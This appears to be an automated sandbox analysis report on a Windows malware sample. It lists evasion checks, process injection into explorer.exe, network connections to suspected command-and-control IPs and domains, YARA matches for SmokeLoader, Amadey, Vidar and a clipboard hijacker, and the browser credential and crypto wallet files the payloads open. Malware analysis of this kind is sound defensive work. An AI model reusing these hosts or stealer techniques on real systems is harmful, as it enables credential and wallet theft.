Source: explorer.exe, 00000001.00000000.369535854.0000000008FD3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001 ZG
Source: D804.exe, 00000013.00000002.636070288.0000000003214000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: }\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: B46F.exe, 0000001A.00000002.489404633.0000000000739000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: 913F.exe, 00000025.00000002.514716181.0000000000667000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: explorer.exe, 00000001.00000000.369535854.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}.exe,-4000
Source: aafg31.exe, 00000015.00000003.483479878.000001E2901C5000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.509760935.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.473601019.000001E2901B4000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.519312532.000001E2901BF000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.522708339.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.488493072.000001E2901C4000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2901A6000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.489120005.000001E2901C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 80ehgFS
Source: explorer.exe, 00000001.00000000.369535854.0000000008FD3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\01860199.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\01860199.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\01860199.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\AppData\Local\Temp\D804.exe

5_2_0040D6B0

Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_023F092B mov eax, dword ptr fs:[00000030h]	0_2_023F092B
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_023F0D90 mov eax, dword ptr fs:[00000030h]	0_2_023F0D90
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_024A50A3 push dword ptr fs:[00000030h]	5_2_024A50A3

Source: C:\Users\user\Desktop\01860199.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_0040533B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

5_2_0040533B

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_024A671C rdtsc

5_2_024A671C

Source: C:\Users\user\AppData\Local\Temp\3C54.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_004084CF SetUnhandledExceptionFilter,	5_2_004084CF
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_0040D9F8 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	5_2_0040D9F8
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_0040533B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0040533B
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_004063C4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_004063C4

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: toobussy.com
Source: C:\Windows\explorer.exe	Network Connect: 123.140.161.243 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 80.66.203.53 443	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: colisumy.com
Source: C:\Windows\explorer.exe	Domain query: potunulit.org
Source: C:\Windows\explorer.exe	Domain query: speedlab.com.eg
Source: C:\Windows\explorer.exe	Network Connect: 45.9.74.80 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 217.174.148.28 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 175.119.10.231 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.97.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.40.39.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.119.84.112 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 183.100.39.157 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: shsplatform.co.uk
Source: C:\Windows\explorer.exe	Network Connect: 222.236.49.123 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.180.48.90 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 222.236.49.124 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 3C54.exe.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\01860199.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\01860199.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Memory written: C:\Users\user\AppData\Local\Temp\D804.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Memory written: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Memory written: C:\Users\user\AppData\Local\Temp\D804.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Memory written: C:\Users\user\AppData\Local\Temp\B46F.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Memory written: C:\Users\user\AppData\Local\Temp\A170.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Memory written: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Memory written: C:\Users\user\AppData\Local\Temp\913F.exe base: 400000 value starts with: 4D5A

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\01860199.exe	Thread created: C:\Windows\explorer.exe EIP: 5801B14	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwgujdv	Thread created: unknown EIP: 58A1B14	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Thread created: unknown EIP: 59319C0

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe C:\Users\user\AppData\Local\Temp\D804.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe "C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\aafg31.exe "C:\Users\user\AppData\Local\Temp\aafg31.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\NewPlayer.exe "C:\Users\user\AppData\Local\Temp\NewPlayer.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\XandETC.exe "C:\Users\user\AppData\Local\Temp\XandETC.exe"
Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	Process created: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe "C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe"
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process created: C:\Users\user\AppData\Local\Temp\B46F.exe C:\Users\user\AppData\Local\Temp\B46F.exe
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process created: C:\Users\user\AppData\Local\Temp\A170.exe C:\Users\user\AppData\Local\Temp\A170.exe
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Process created: C:\Users\user\AppData\Local\Temp\913F.exe C:\Users\user\AppData\Local\Temp\913F.exe
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process created: unknown unknown

Source: explorer.exe, 00000001.00000000.362869781.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerT7<=ge
Source: explorer.exe, 00000001.00000000.366384416.0000000006770000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.362869781.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.369535854.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.362869781.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.362608605.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CProgmanile
Source: explorer.exe, 00000001.00000000.362869781.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: GetLocaleInfoA,

5_2_00410F37

Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3C54.exe VolumeInformation
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\07c6bc37dc5087\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\07c6bc37dc5087\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\853321935212 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5DA0.exe VolumeInformation

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_0040963C GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

5_2_0040963C

Source: C:\Users\user\AppData\Local\Temp\D804.exe

5_2_00403870

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.3C54.exe.408ef90.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.NewPlayer.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.mnolyk.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.NewPlayer.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.mnolyk.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.3C54.exe.408ef90.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.460937652.0000000000061000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.476037262.0000000000061000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618608332.0000000000E01000.00000020.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.475540855.0000000000E01000.00000020.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.507574434.0000000004050000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Amadey bot

Source: Yara match	File source: 00000023.00000003.612344653.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618034875.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.520904242.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.520904242.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618034875.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618034875.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Clipboard Hijacker

Source: Yara match	File source: 40.2.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, type: DROPPED

Yara detected Fabookie

Source: Yara match

File source: Process Memory Space: aafg31.exe PID: 2336, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 32.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.build2.exe.8415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.build2.exe.8415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.519993720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 4696, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\?
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\?
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\?
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\?
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\?
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\?
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Source: Yara match	File source: 00000020.00000002.522623167.0000000002345000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll, type: DROPPED

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: Process Memory Space: aafg31.exe PID: 2336, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 32.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.build2.exe.8415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.build2.exe.8415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.519993720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 4696, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	412 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	2 Data Encrypted for Impact
